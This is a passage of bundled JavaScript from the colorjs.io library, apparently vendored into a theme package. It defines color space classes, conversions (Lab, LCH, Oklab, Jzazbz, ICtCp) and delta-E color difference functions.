843 if (!connectionSpace) {
844 throw new Error(
845 `Cannot convert between color spaces ${this} and ${space}: no connection space was found`
846 );
847 }
848 for (let i = myPath.length - 1; i > connectionSpaceIndex; i--) {
849 coords = myPath[i].toBase(coords);
850 }
851 for (let i = connectionSpaceIndex + 1; i < otherPath.length; i++) {
852 coords = otherPath[i].fromBase(coords);
853 }
854 return coords;
855 }
856 from(space, coords) {
857 if (arguments.length === 1) {
858 const color = getColor(space);
859 [space, coords] = [color.space, color.coords];
860 }
861 space = _ColorSpace.get(space);
862 return space.to(this, coords);
863 }
864 toString() {
865 return `${this.name} (${this.id})`;
866 }
867 getMinCoords() {
868 let ret = [];
869 for (let id in this.coords) {
870 let meta = this.coords[id];
871 let range = meta.range || meta.refRange;
872 ret.push(range?.min ?? 0);
873 }
874 return ret;
875 }
876 static registry = {};
877 // Returns array of unique color spaces
878 static get all() {
879 return [...new Set(Object.values(_ColorSpace.registry))];
880 }
881 static register(id, space) {
882 if (arguments.length === 1) {
883 space = arguments[0];
884 id = space.id;
885 }
886 space = this.get(space);
887 if (this.registry[id] && this.registry[id] !== space) {
888 throw new Error(`Duplicate color space registration: '${id}'`);
889 }
890 this.registry[id] = space;
891 if (arguments.length === 1 && space.aliases) {
892 for (let alias of space.aliases) {
893 this.register(alias, space);
894 }
895 }
896 return space;
897 }
898 /**
899 * Lookup ColorSpace object by name
900 * @param {ColorSpace | string} name
901 */
902 static get(space, ...alternatives) {
903 if (!space || isInstance(space, this)) {
904 return space;
905 }
906 let argType = type(space);
907 if (argType === "string") {
908 let ret = _ColorSpace.registry[space.toLowerCase()];
909 if (!ret) {
910 throw new TypeError(`No color space found with id = "${space}"`);
911 }
912 return ret;
913 }
914 if (alternatives.length) {
915 return _ColorSpace.get(...alternatives);
916 }
917 throw new TypeError(`${space} is not a valid color space`);
918 }
919 /**
920 * Look up all color spaces for a format that matches certain criteria
921 * @param {object | string} filters
922 * @param {Array<ColorSpace>} [spaces=ColorSpace.all]
923 * @returns {Format | null}
924 */
925 static findFormat(filters, spaces = _ColorSpace.all) {
926 if (!filters) {
927 return null;
928 }
929 if (typeof filters === "string") {
930 filters = { name: filters };
931 }
932 for (let space of spaces) {
933 for (let [name, format] of Object.entries(space.formats)) {
934 format.name ??= name;
935 format.type ??= "function";
936 let matches = (!filters.name || format.name === filters.name) && (!filters.type || format.type === filters.type);
937 if (filters.id) {
938 let ids = format.ids || [format.id];
939 let filterIds = Array.isArray(filters.id) ? filters.id : [filters.id];
940 matches &&= filterIds.some((id) => ids.includes(id));
941 }
942 if (matches) {
943 let ret = Format.get(format, space);
944 if (ret !== format) {
945 space.formats[format.name] = ret;
946 }
947 return ret;
948 }
949 }
950 }
951 return null;
952 }
953 /**
954 * Get metadata about a coordinate of a color space
955 *
956 * @static
957 * @param {Array | string} ref
958 * @param {ColorSpace | string} [workingSpace]
959 * @return {Object}
960 */
961 static resolveCoord(ref, workingSpace) {
962 let coordType = type(ref);
963 let space, coord;
964 if (coordType === "string") {
965 if (ref.includes(".")) {
966 [space, coord] = ref.split(".");
967 } else {
968 [space, coord] = [, ref];
969 }
970 } else if (Array.isArray(ref)) {
971 [space, coord] = ref;
972 } else {
973 space = ref.space;
974 coord = ref.coordId;
975 }
976 space = _ColorSpace.get(space);
977 if (!space) {
978 space = workingSpace;
979 }
980 if (!space) {
981 throw new TypeError(
982 `Cannot resolve coordinate reference ${ref}: No color space specified and relative references are not allowed here`
983 );
984 }
985 coordType = type(coord);
986 if (coordType === "number" || coordType === "string" && coord >= 0) {
987 let meta = Object.entries(space.coords)[coord];
988 if (meta) {
989 return { space, id: meta[0], index: coord, ...meta[1] };
990 }
991 }
992 space = _ColorSpace.get(space);
993 let normalizedCoord = coord.toLowerCase();
994 let i = 0;
995 for (let id in space.coords) {
996 let meta = space.coords[id];
997 if (id.toLowerCase() === normalizedCoord || meta.name?.toLowerCase() === normalizedCoord) {
998 return { space, id, index: i, ...meta };
999 }
1000 i++;
1001 }
1002 throw new TypeError(
1003 `No "${coord}" coordinate found in ${space.name}. Its coordinates are: ${Object.keys(space.coords).join(", ")}`
1004 );
1005 }
1006 static DEFAULT_FORMAT = {
1007 type: "functions",
1008 name: "color"
1009 };
1010 };
1011 function getPath(space) {
1012 let ret = [space];
1013 for (let s = space; s = s.base; ) {
1014 ret.push(s);
1015 }
1016 return ret;
1017 }
1018
1019 // packages/theme/node_modules/colorjs.io/src/spaces/xyz-d65.js
1020 var xyz_d65_default = new ColorSpace({
1021 id: "xyz-d65",
1022 name: "XYZ D65",
1023 coords: {
1024 x: {
1025 refRange: [0, 1],
1026 name: "X"
1027 },
1028 y: {
1029 refRange: [0, 1],
1030 name: "Y"
1031 },
1032 z: {
1033 refRange: [0, 1],
1034 name: "Z"
1035 }
1036 },
1037 white: "D65",
1038 formats: {
1039 color: {
1040 ids: ["xyz-d65", "xyz"]
1041 }
1042 },
1043 aliases: ["xyz"]
1044 });
1045
1046 // packages/theme/node_modules/colorjs.io/src/RGBColorSpace.js
1047 var RGBColorSpace = class extends ColorSpace {
1048 /**
1049 * Creates a new RGB ColorSpace.
1050 * If coords are not specified, they will use the default RGB coords.
1051 * Instead of `fromBase()` and `toBase()` functions,
1052 * you can specify to/from XYZ matrices and have `toBase()` and `fromBase()` automatically generated.
1053 * @param {RGBOptions} options
1054 */
1055 constructor(options) {
1056 if (!options.coords) {
1057 options.coords = {
1058 r: {
1059 range: [0, 1],
1060 name: "Red"
1061 },
1062 g: {
1063 range: [0, 1],
1064 name: "Green"
1065 },
1066 b: {
1067 range: [0, 1],
1068 name: "Blue"
1069 }
1070 };
1071 }
1072 if (!options.base) {
1073 options.base = xyz_d65_default;
1074 }
1075 if (options.toXYZ_M && options.fromXYZ_M) {
1076 options.toBase ??= (rgb) => {
1077 let xyz = multiply_v3_m3x3(rgb, options.toXYZ_M);
1078 if (this.white !== this.base.white) {
1079 xyz = adapt(this.white, this.base.white, xyz);
1080 }
1081 return xyz;
1082 };
1083 options.fromBase ??= (xyz) => {
1084 xyz = adapt(this.base.white, this.white, xyz);
1085 return multiply_v3_m3x3(xyz, options.fromXYZ_M);
1086 };
1087 }
1088 options.referred ??= "display";
1089 super(options);
1090 }
1091 };
1092
1093 // packages/theme/node_modules/colorjs.io/src/getAll.js
1094 function getAll(color, options) {
1095 color = getColor(color);
1096 let space = ColorSpace.get(options, options?.space);
1097 let precision = options?.precision;
1098 let coords;
1099 if (!space || color.space.equals(space)) {
1100 coords = color.coords.slice();
1101 } else {
1102 coords = space.from(color);
1103 }
1104 return precision === void 0 ? coords : coords.map((coord) => toPrecision(coord, precision));
1105 }
1106
1107 // packages/theme/node_modules/colorjs.io/src/get.js
1108 function get(color, prop) {
1109 color = getColor(color);
1110 if (prop === "alpha") {
1111 return color.alpha ?? 1;
1112 }
1113 let { space, index } = ColorSpace.resolveCoord(prop, color.space);
1114 let coords = getAll(color, space);
1115 return coords[index];
1116 }
1117
1118 // packages/theme/node_modules/colorjs.io/src/setAll.js
1119 function setAll(color, space, coords, alpha) {
1120 color = getColor(color);
1121 if (Array.isArray(space)) {
1122 [space, coords, alpha] = [color.space, space, coords];
1123 }
1124 space = ColorSpace.get(space);
1125 color.coords = space === color.space ? coords.slice() : space.to(color.space, coords);
1126 if (alpha !== void 0) {
1127 color.alpha = alpha;
1128 }
1129 return color;
1130 }
1131 setAll.returns = "color";
1132
1133 // packages/theme/node_modules/colorjs.io/src/set.js
1134 function set(color, prop, value) {
1135 color = getColor(color);
1136 if (arguments.length === 2 && type(arguments[1]) === "object") {
1137 let object = arguments[1];
1138 for (let p2 in object) {
1139 set(color, p2, object[p2]);
1140 }
1141 } else {
1142 if (typeof value === "function") {
1143 value = value(get(color, prop));
1144 }
1145 if (prop === "alpha") {
1146 color.alpha = value;
1147 } else {
1148 let { space, index } = ColorSpace.resolveCoord(prop, color.space);
1149 let coords = getAll(color, space);
1150 coords[index] = value;
1151 setAll(color, space, coords);
1152 }
1153 }
1154 return color;
1155 }
1156 set.returns = "color";
1157
1158 // packages/theme/node_modules/colorjs.io/src/spaces/xyz-d50.js
1159 var xyz_d50_default = new ColorSpace({
1160 id: "xyz-d50",
1161 name: "XYZ D50",
1162 white: "D50",
1163 base: xyz_d65_default,
1164 fromBase: (coords) => adapt(xyz_d65_default.white, "D50", coords),
1165 toBase: (coords) => adapt("D50", xyz_d65_default.white, coords)
1166 });
1167
1168 // packages/theme/node_modules/colorjs.io/src/spaces/lab.js
1169 var \u03B52 = 216 / 24389;
1170 var \u03B53 = 24 / 116;
1171 var \u03BA = 24389 / 27;
1172 var white = WHITES.D50;
1173 var lab_default = new ColorSpace({
1174 id: "lab",
1175 name: "Lab",
1176 coords: {
1177 l: {
1178 refRange: [0, 100],
1179 name: "Lightness"
1180 },
1181 a: {
1182 refRange: [-125, 125]
1183 },
1184 b: {
1185 refRange: [-125, 125]
1186 }
1187 },
1188 // Assuming XYZ is relative to D50, convert to CIE Lab
1189 // from CIE standard, which now defines these as a rational fraction
1190 white,
1191 base: xyz_d50_default,
1192 // Convert D50-adapted XYX to Lab
1193 // CIE 15.3:2004 section 8.2.1.1
1194 fromBase(XYZ) {
1195 let xyz = XYZ.map((value, i) => value / white[i]);
1196 let f = xyz.map((value) => value > \u03B52 ? Math.cbrt(value) : (\u03BA * value + 16) / 116);
1197 let L = 116 * f[1] - 16;
1198 let a = 500 * (f[0] - f[1]);
1199 let b2 = 200 * (f[1] - f[2]);
1200 return [L, a, b2];
1201 },
1202 // Convert Lab to D50-adapted XYZ
1203 // Same result as CIE 15.3:2004 Appendix D although the derivation is different
1204 // http://www.brucelindbloom.com/index.html?Eqn_RGB_XYZ_Matrix.html
1205 toBase(Lab) {
1206 let [L, a, b2] = Lab;
1207 let f = [];
1208 f[1] = (L + 16) / 116;
1209 f[0] = a / 500 + f[1];
1210 f[2] = f[1] - b2 / 200;
1211 let xyz = [
1212 f[0] > \u03B53 ? Math.pow(f[0], 3) : (116 * f[0] - 16) / \u03BA,
1213 Lab[0] > 8 ? Math.pow((Lab[0] + 16) / 116, 3) : Lab[0] / \u03BA,
1214 f[2] > \u03B53 ? Math.pow(f[2], 3) : (116 * f[2] - 16) / \u03BA
1215 ];
1216 return xyz.map((value, i) => value * white[i]);
1217 },
1218 formats: {
1219 lab: {
1220 coords: [
1221 "<percentage> | <number>",
1222 "<number> | <percentage>",
1223 "<number> | <percentage>"
1224 ]
1225 }
1226 }
1227 });
1228
1229 // packages/theme/node_modules/colorjs.io/src/angles.js
1230 function constrain(angle) {
1231 if (typeof angle !== "number") {
1232 return angle;
1233 }
1234 return (angle % 360 + 360) % 360;
1235 }
1236
1237 // packages/theme/node_modules/colorjs.io/src/spaces/lch.js
1238 var lch_default = new ColorSpace({
1239 id: "lch",
1240 name: "LCH",
1241 coords: {
1242 l: {
1243 refRange: [0, 100],
1244 name: "Lightness"
1245 },
1246 c: {
1247 refRange: [0, 150],
1248 name: "Chroma"
1249 },
1250 h: {
1251 refRange: [0, 360],
1252 type: "angle",
1253 name: "Hue"
1254 }
1255 },
1256 base: lab_default,
1257 fromBase(Lab) {
1258 if (this.\u03B5 === void 0) {
1259 let range = Object.values(this.base.coords)[1].refRange;
1260 let extent = range[1] - range[0];
1261 this.\u03B5 = extent / 1e5;
1262 }
1263 let [L, a, b2] = Lab;
1264 let isAchromatic = Math.abs(a) < this.\u03B5 && Math.abs(b2) < this.\u03B5;
1265 let h = isAchromatic ? null : constrain(Math.atan2(b2, a) * 180 / Math.PI);
1266 let C = isAchromatic ? 0 : Math.sqrt(a ** 2 + b2 ** 2);
1267 return [L, C, h];
1268 },
1269 toBase(lch) {
1270 let [L, C, h] = lch;
1271 let a = null, b2 = null;
1272 if (!isNone(h)) {
1273 C = C < 0 ? 0 : C;
1274 a = C * Math.cos(h * Math.PI / 180);
1275 b2 = C * Math.sin(h * Math.PI / 180);
1276 }
1277 return [L, a, b2];
1278 },
1279 formats: {
1280 lch: {
1281 coords: ["<percentage> | <number>", "<number> | <percentage>", "<number> | <angle>"]
1282 }
1283 }
1284 });
1285
1286 // packages/theme/node_modules/colorjs.io/src/deltaE/deltaE2000.js
1287 var Gfactor = 25 ** 7;
1288 var \u03C0 = Math.PI;
1289 var r2d = 180 / \u03C0;
1290 var d2r = \u03C0 / 180;
1291 function pow7(x) {
1292 const x2 = x * x;
1293 const x7 = x2 * x2 * x2 * x;
1294 return x7;
1295 }
1296 function deltaE2000_default(color, sample, { kL = 1, kC = 1, kH = 1 } = {}) {
1297 [color, sample] = getColor([color, sample]);
1298 let [L1, a1, b1] = lab_default.from(color);
1299 let C1 = lch_default.from(lab_default, [L1, a1, b1])[1];
1300 let [L2, a2, b2] = lab_default.from(sample);
1301 let C2 = lch_default.from(lab_default, [L2, a2, b2])[1];
1302 if (C1 < 0) {
1303 C1 = 0;
1304 }
1305 if (C2 < 0) {
1306 C2 = 0;
1307 }
1308 let Cbar = (C1 + C2) / 2;
1309 let C7 = pow7(Cbar);
1310 let G = 0.5 * (1 - Math.sqrt(C7 / (C7 + Gfactor)));
1311 let adash1 = (1 + G) * a1;
1312 let adash2 = (1 + G) * a2;
1313 let Cdash1 = Math.sqrt(adash1 ** 2 + b1 ** 2);
1314 let Cdash2 = Math.sqrt(adash2 ** 2 + b2 ** 2);
1315 let h1 = adash1 === 0 && b1 === 0 ? 0 : Math.atan2(b1, adash1);
1316 let h2 = adash2 === 0 && b2 === 0 ? 0 : Math.atan2(b2, adash2);
1317 if (h1 < 0) {
1318 h1 += 2 * \u03C0;
1319 }
1320 if (h2 < 0) {
1321 h2 += 2 * \u03C0;
1322 }
1323 h1 *= r2d;
1324 h2 *= r2d;
1325 let \u0394L = L2 - L1;
1326 let \u0394C = Cdash2 - Cdash1;
1327 let hdiff = h2 - h1;
1328 let hsum = h1 + h2;
1329 let habs = Math.abs(hdiff);
1330 let \u0394h;
1331 if (Cdash1 * Cdash2 === 0) {
1332 \u0394h = 0;
1333 } else if (habs <= 180) {
1334 \u0394h = hdiff;
1335 } else if (hdiff > 180) {
1336 \u0394h = hdiff - 360;
1337 } else if (hdiff < -180) {
1338 \u0394h = hdiff + 360;
1339 } else {
1340 defaults_default.warn("the unthinkable has happened");
1341 }
1342 let \u0394H = 2 * Math.sqrt(Cdash2 * Cdash1) * Math.sin(\u0394h * d2r / 2);
1343 let Ldash = (L1 + L2) / 2;
1344 let Cdash = (Cdash1 + Cdash2) / 2;
1345 let Cdash7 = pow7(Cdash);
1346 let hdash;
1347 if (Cdash1 * Cdash2 === 0) {
1348 hdash = hsum;
1349 } else if (habs <= 180) {
1350 hdash = hsum / 2;
1351 } else if (hsum < 360) {
1352 hdash = (hsum + 360) / 2;
1353 } else {
1354 hdash = (hsum - 360) / 2;
1355 }
1356 let lsq = (Ldash - 50) ** 2;
1357 let SL = 1 + 0.015 * lsq / Math.sqrt(20 + lsq);
1358 let SC = 1 + 0.045 * Cdash;
1359 let T = 1;
1360 T -= 0.17 * Math.cos((hdash - 30) * d2r);
1361 T += 0.24 * Math.cos(2 * hdash * d2r);
1362 T += 0.32 * Math.cos((3 * hdash + 6) * d2r);
1363 T -= 0.2 * Math.cos((4 * hdash - 63) * d2r);
1364 let SH = 1 + 0.015 * Cdash * T;
1365 let \u0394\u03B8 = 30 * Math.exp(-1 * ((hdash - 275) / 25) ** 2);
1366 let RC = 2 * Math.sqrt(Cdash7 / (Cdash7 + Gfactor));
1367 let RT = -1 * Math.sin(2 * \u0394\u03B8 * d2r) * RC;
1368 let dE = (\u0394L / (kL * SL)) ** 2;
1369 dE += (\u0394C / (kC * SC)) ** 2;
1370 dE += (\u0394H / (kH * SH)) ** 2;
1371 dE += RT * (\u0394C / (kC * SC)) * (\u0394H / (kH * SH));
1372 return Math.sqrt(dE);
1373 }
1374
1375 // packages/theme/node_modules/colorjs.io/src/spaces/oklab.js
1376 var XYZtoLMS_M = [
1377 [0.819022437996703, 0.3619062600528904, -0.1288737815209879],
1378 [0.0329836539323885, 0.9292868615863434, 0.0361446663506424],
1379 [0.0481771893596242, 0.2642395317527308, 0.6335478284694309]
1380 ];
1381 var LMStoXYZ_M = [
1382 [1.2268798758459243, -0.5578149944602171, 0.2813910456659647],
1383 [-0.0405757452148008, 1.112286803280317, -0.0717110580655164],
1384 [-0.0763729366746601, -0.4214933324022432, 1.5869240198367816]
1385 ];
1386 var LMStoLab_M = [
1387 [0.210454268309314, 0.7936177747023054, -0.0040720430116193],
1388 [1.9779985324311684, -2.42859224204858, 0.450593709617411],
1389 [0.0259040424655478, 0.7827717124575296, -0.8086757549230774]
1390 ];
1391 var LabtoLMS_M = [
1392 [1, 0.3963377773761749, 0.2158037573099136],
1393 [1, -0.1055613458156586, -0.0638541728258133],
1394 [1, -0.0894841775298119, -1.2914855480194092]
1395 ];
1396 var oklab_default = new ColorSpace({
1397 id: "oklab",
1398 name: "Oklab",
1399 coords: {
1400 l: {
1401 refRange: [0, 1],
1402 name: "Lightness"
1403 },
1404 a: {
1405 refRange: [-0.4, 0.4]
1406 },
1407 b: {
1408 refRange: [-0.4, 0.4]
1409 }
1410 },
1411 // Note that XYZ is relative to D65
1412 white: "D65",
1413 base: xyz_d65_default,
1414 fromBase(XYZ) {
1415 let LMS = multiply_v3_m3x3(XYZ, XYZtoLMS_M);
1416 LMS[0] = Math.cbrt(LMS[0]);
1417 LMS[1] = Math.cbrt(LMS[1]);
1418 LMS[2] = Math.cbrt(LMS[2]);
1419 return multiply_v3_m3x3(LMS, LMStoLab_M, LMS);
1420 },
1421 toBase(OKLab) {
1422 let LMSg = multiply_v3_m3x3(OKLab, LabtoLMS_M);
1423 LMSg[0] = LMSg[0] ** 3;
1424 LMSg[1] = LMSg[1] ** 3;
1425 LMSg[2] = LMSg[2] ** 3;
1426 return multiply_v3_m3x3(LMSg, LMStoXYZ_M, LMSg);
1427 },
1428 formats: {
1429 oklab: {
1430 coords: [
1431 "<percentage> | <number>",
1432 "<number> | <percentage>",
1433 "<number> | <percentage>"
1434 ]
1435 }
1436 }
1437 });
1438
1439 // packages/theme/node_modules/colorjs.io/src/deltaE/deltaEOK.js
1440 function deltaEOK_default(color, sample) {
1441 [color, sample] = getColor([color, sample]);
1442 let [L1, a1, b1] = oklab_default.from(color);
1443 let [L2, a2, b2] = oklab_default.from(sample);
1444 let \u0394L = L1 - L2;
1445 let \u0394a = a1 - a2;
1446 let \u0394b = b1 - b2;
1447 return Math.sqrt(\u0394L ** 2 + \u0394a ** 2 + \u0394b ** 2);
1448 }
1449
1450 // packages/theme/node_modules/colorjs.io/src/inGamut.js
1451 var \u03B54 = 75e-6;
1452 function inGamut(color, space, { epsilon = \u03B54 } = {}) {
1453 color = getColor(color);
1454 if (!space) {
1455 space = color.space;
1456 }
1457 space = ColorSpace.get(space);
1458 let coords = color.coords;
1459 if (space !== color.space) {
1460 coords = space.from(color);
1461 }
1462 return space.inGamut(coords, { epsilon });
1463 }
1464
1465 // packages/theme/node_modules/colorjs.io/src/clone.js
1466 function clone(color) {
1467 return {
1468 space: color.space,
1469 coords: (
1470 /** @type {Coords} */
1471 color.coords.slice()
1472 ),
1473 alpha: color.alpha
1474 };
1475 }
1476
1477 // packages/theme/node_modules/colorjs.io/src/distance.js
1478 function distance(color1, color2, space = "lab") {
1479 space = ColorSpace.get(space);
1480 let coords1 = space.from(color1);
1481 let coords2 = space.from(color2);
1482 return Math.sqrt(
1483 coords1.reduce((acc, c13, i) => {
1484 let c23 = coords2[i];
1485 if (isNone(c13) || isNone(c23)) {
1486 return acc;
1487 }
1488 return acc + (c23 - c13) ** 2;
1489 }, 0)
1490 );
1491 }
1492
1493 // packages/theme/node_modules/colorjs.io/src/deltaE/deltaE76.js
1494 function deltaE76(color, sample) {
1495 return distance(color, sample, "lab");
1496 }
1497
1498 // packages/theme/node_modules/colorjs.io/src/deltaE/deltaECMC.js
1499 var \u03C02 = Math.PI;
1500 var d2r2 = \u03C02 / 180;
1501 function deltaECMC_default(color, sample, { l = 2, c = 1 } = {}) {
1502 [color, sample] = getColor([color, sample]);
1503 let [L1, a1, b1] = lab_default.from(color);
1504 let [, C1, H1] = lch_default.from(lab_default, [L1, a1, b1]);
1505 let [L2, a2, b2] = lab_default.from(sample);
1506 let C2 = lch_default.from(lab_default, [L2, a2, b2])[1];
1507 if (C1 < 0) {
1508 C1 = 0;
1509 }
1510 if (C2 < 0) {
1511 C2 = 0;
1512 }
1513 let \u0394L = L1 - L2;
1514 let \u0394C = C1 - C2;
1515 let \u0394a = a1 - a2;
1516 let \u0394b = b1 - b2;
1517 let H2 = \u0394a ** 2 + \u0394b ** 2 - \u0394C ** 2;
1518 let SL = 0.511;
1519 if (L1 >= 16) {
1520 SL = 0.040975 * L1 / (1 + 0.01765 * L1);
1521 }
1522 let SC = 0.0638 * C1 / (1 + 0.0131 * C1) + 0.638;
1523 let T;
1524 if (isNone(H1)) {
1525 H1 = 0;
1526 }
1527 if (H1 >= 164 && H1 <= 345) {
1528 T = 0.56 + Math.abs(0.2 * Math.cos((H1 + 168) * d2r2));
1529 } else {
1530 T = 0.36 + Math.abs(0.4 * Math.cos((H1 + 35) * d2r2));
1531 }
1532 let C4 = Math.pow(C1, 4);
1533 let F = Math.sqrt(C4 / (C4 + 1900));
1534 let SH = SC * (F * T + 1 - F);
1535 let dE = (\u0394L / (l * SL)) ** 2;
1536 dE += (\u0394C / (c * SC)) ** 2;
1537 dE += H2 / SH ** 2;
1538 return Math.sqrt(dE);
1539 }
1540
1541 // packages/theme/node_modules/colorjs.io/src/spaces/xyz-abs-d65.js
1542 var Yw = 203;
1543 var xyz_abs_d65_default = new ColorSpace({
1544 // Absolute CIE XYZ, with a D65 whitepoint,
1545 // as used in most HDR colorspaces as a starting point.
1546 // SDR spaces are converted per BT.2048
1547 // so that diffuse, media white is 203 cd/m²
1548 id: "xyz-abs-d65",
1549 cssId: "--xyz-abs-d65",
1550 name: "Absolute XYZ D65",
1551 coords: {
1552 x: {
1553 refRange: [0, 9504.7],
1554 name: "Xa"
1555 },
1556 y: {
1557 refRange: [0, 1e4],
1558 name: "Ya"
1559 },
1560 z: {
1561 refRange: [0, 10888.3],
1562 name: "Za"
1563 }
1564 },
1565 base: xyz_d65_default,
1566 fromBase(XYZ) {
1567 return XYZ.map((v) => v * Yw);
1568 },
1569 toBase(AbsXYZ) {
1570 return AbsXYZ.map((v) => v / Yw);
1571 }
1572 });
1573
1574 // packages/theme/node_modules/colorjs.io/src/spaces/jzazbz.js
1575 var b = 1.15;
1576 var g = 0.66;
1577 var n = 2610 / 2 ** 14;
1578 var ninv = 2 ** 14 / 2610;
1579 var c1 = 3424 / 2 ** 12;
1580 var c2 = 2413 / 2 ** 7;
1581 var c3 = 2392 / 2 ** 7;
1582 var p = 1.7 * 2523 / 2 ** 5;
1583 var pinv = 2 ** 5 / (1.7 * 2523);
1584 var d = -0.56;
1585 var d0 = 16295499532821565e-27;
1586 var XYZtoCone_M = [
1587 [0.41478972, 0.579999, 0.014648],
1588 [-0.20151, 1.120649, 0.0531008],
1589 [-0.0166008, 0.2648, 0.6684799]
1590 ];
1591 var ConetoXYZ_M = [
1592 [1.9242264357876067, -1.0047923125953657, 0.037651404030618],
1593 [0.35031676209499907, 0.7264811939316552, -0.06538442294808501],
1594 [-0.09098281098284752, -0.3127282905230739, 1.5227665613052603]
1595 ];
1596 var ConetoIab_M = [
1597 [0.5, 0.5, 0],
1598 [3.524, -4.066708, 0.542708],
1599 [0.199076, 1.096799, -1.295875]
1600 ];
1601 var IabtoCone_M = [
1602 [1, 0.13860504327153927, 0.05804731615611883],
1603 [1, -0.1386050432715393, -0.058047316156118904],
1604 [1, -0.09601924202631895, -0.811891896056039]
1605 ];
1606 var jzazbz_default = new ColorSpace({
1607 id: "jzazbz",
1608 name: "Jzazbz",
1609 coords: {
1610 jz: {
1611 refRange: [0, 1],
1612 name: "Jz"
1613 },
1614 az: {
1615 refRange: [-0.21, 0.21]
1616 },
1617 bz: {
1618 refRange: [-0.21, 0.21]
1619 }
1620 },
1621 base: xyz_abs_d65_default,
1622 fromBase(XYZ) {
1623 let [Xa, Ya, Za] = XYZ;
1624 let Xm = b * Xa - (b - 1) * Za;
1625 let Ym = g * Ya - (g - 1) * Xa;
1626 let LMS = multiply_v3_m3x3([Xm, Ym, Za], XYZtoCone_M);
1627 let PQLMS = (
1628 /** @type {Vector3} } */
1629 LMS.map(function(val) {
1630 let num = c1 + c2 * spow(val / 1e4, n);
1631 let denom = 1 + c3 * spow(val / 1e4, n);
1632 return spow(num / denom, p);
1633 })
1634 );
1635 let [Iz, az, bz] = multiply_v3_m3x3(PQLMS, ConetoIab_M);
1636 let Jz = (1 + d) * Iz / (1 + d * Iz) - d0;
1637 return [Jz, az, bz];
1638 },
1639 toBase(Jzazbz) {
1640 let [Jz, az, bz] = Jzazbz;
1641 let Iz = (Jz + d0) / (1 + d - d * (Jz + d0));
1642 let PQLMS = multiply_v3_m3x3([Iz, az, bz], IabtoCone_M);
1643 let LMS = (
1644 /** @type {Vector3} } */
1645 PQLMS.map(function(val) {
1646 let num = c1 - spow(val, pinv);
1647 let denom = c3 * spow(val, pinv) - c2;
1648 let x = 1e4 * spow(num / denom, ninv);
1649 return x;
1650 })
1651 );
1652 let [Xm, Ym, Za] = multiply_v3_m3x3(LMS, ConetoXYZ_M);
1653 let Xa = (Xm + (b - 1) * Za) / b;
1654 let Ya = (Ym + (g - 1) * Xa) / g;
1655 return [Xa, Ya, Za];
1656 },
1657 formats: {
1658 // https://drafts.csswg.org/css-color-hdr/#Jzazbz
1659 jzazbz: {
1660 coords: [
1661 "<percentage> | <number>",
1662 "<number> | <percentage>",
1663 "<number> | <percentage>"
1664 ]
1665 }
1666 }
1667 });
1668
1669 // packages/theme/node_modules/colorjs.io/src/spaces/jzczhz.js
1670 var jzczhz_default = new ColorSpace({
1671 id: "jzczhz",
1672 name: "JzCzHz",
1673 coords: {
1674 jz: {
1675 refRange: [0, 1],
1676 name: "Jz"
1677 },
1678 cz: {
1679 refRange: [0, 0.26],
1680 name: "Chroma"
1681 },
1682 hz: {
1683 refRange: [0, 360],
1684 type: "angle",
1685 name: "Hue"
1686 }
1687 },
1688 base: jzazbz_default,
1689 fromBase: lch_default.fromBase,
1690 toBase: lch_default.toBase,
1691 formats: {
1692 // https://drafts.csswg.org/css-color-hdr/#JzCzhz
1693 jzczhz: {
1694 coords: ["<percentage> | <number>", "<number> | <percentage>", "<number> | <angle>"]
1695 }
1696 }
1697 });
1698
1699 // packages/theme/node_modules/colorjs.io/src/deltaE/deltaEJz.js
1700 function deltaEJz_default(color, sample) {
1701 [color, sample] = getColor([color, sample]);
1702 let [Jz1, Cz1, Hz1] = jzczhz_default.from(color);
1703 let [Jz2, Cz2, Hz2] = jzczhz_default.from(sample);
1704 let \u0394J = Jz1 - Jz2;
1705 let \u0394C = Cz1 - Cz2;
1706 if (isNone(Hz1) && isNone(Hz2)) {
1707 Hz1 = 0;
1708 Hz2 = 0;
1709 } else if (isNone(Hz1)) {
1710 Hz1 = Hz2;
1711 } else if (isNone(Hz2)) {
1712 Hz2 = Hz1;
1713 }
1714 let \u0394h = Hz1 - Hz2;
1715 let \u0394H = 2 * Math.sqrt(Cz1 * Cz2) * Math.sin(\u0394h / 2 * (Math.PI / 180));
1716 return Math.sqrt(\u0394J ** 2 + \u0394C ** 2 + \u0394H ** 2);
1717 }
1718
1719 // packages/theme/node_modules/colorjs.io/src/spaces/ictcp.js
1720 var c12 = 3424 / 4096;
1721 var c22 = 2413 / 128;
1722 var c32 = 2392 / 128;
1723 var m1 = 2610 / 16384;
1724 var m2 = 2523 / 32;
1725 var im1 = 16384 / 2610;
1726 var im2 = 32 / 2523;
1727 var XYZtoLMS_M2 = [
1728 [0.3592832590121217, 0.6976051147779502, -0.035891593232029],
1729 [-0.1920808463704993, 1.100476797037432, 0.0753748658519118],
1730 [0.0070797844607479, 0.0748396662186362, 0.8433265453898765]
1731 ];
1732 var LMStoIPT_M = [
1733 [2048 / 4096, 2048 / 4096, 0],
1734 [6610 / 4096, -13613 / 4096, 7003 / 4096],
1735 [17933 / 4096, -17390 / 4096, -543 / 4096]
1736 ];
1737 var IPTtoLMS_M = [
1738 [0.9999999999999998, 0.0086090370379328, 0.111029625003026],
1739 [0.9999999999999998, -0.0086090370379328, -0.1110296250030259],
1740 [0.9999999999999998, 0.5600313357106791, -0.3206271749873188]
1741 ];
1742 var LMStoXYZ_M2 = [
1743 [2.0701522183894223, -1.3263473389671563, 0.2066510476294053],
1744 [0.3647385209748072, 0.6805660249472273, -0.0453045459220347],
1745 [-0.0497472075358123, -0.0492609666966131, 1.1880659249923042]
1746 ];
1747 var ictcp_default = new ColorSpace({
1748 id: "ictcp",
1749 name: "ICTCP",
1750 // From BT.2100-2 page 7:
1751 // During production, signal values are expected to exceed the
1752 // range E′ = [0.0 : 1.0]. This provides processing headroom and avoids
1753 // signal degradation during cascaded processing. Such values of E′,
1754 // below 0.0 or exceeding 1.0, should not be clipped during production
1755 // and exchange.
1756 // Values below 0.0 should not be clipped in reference displays (even
1757 // though they represent “negative” light) to allow the black level of
1758 // the signal (LB) to be properly set using test signals known as “PLUGE”
1759 coords: {
1760 i: {
1761 refRange: [0, 1],
1762 // Constant luminance,
1763 name: "I"
1764 },
1765 ct: {
1766 refRange: [-0.5, 0.5],
1767 // Full BT.2020 gamut in range [-0.5, 0.5]
1768 name: "CT"
1769 },
1770 cp: {
1771 refRange: [-0.5, 0.5],
1772 name: "CP"
1773 }
1774 },
1775 base: xyz_abs_d65_default,
1776 fromBase(XYZ) {
1777 let LMS = multiply_v3_m3x3(XYZ, XYZtoLMS_M2);
1778 return LMStoICtCp(LMS);
1779 },
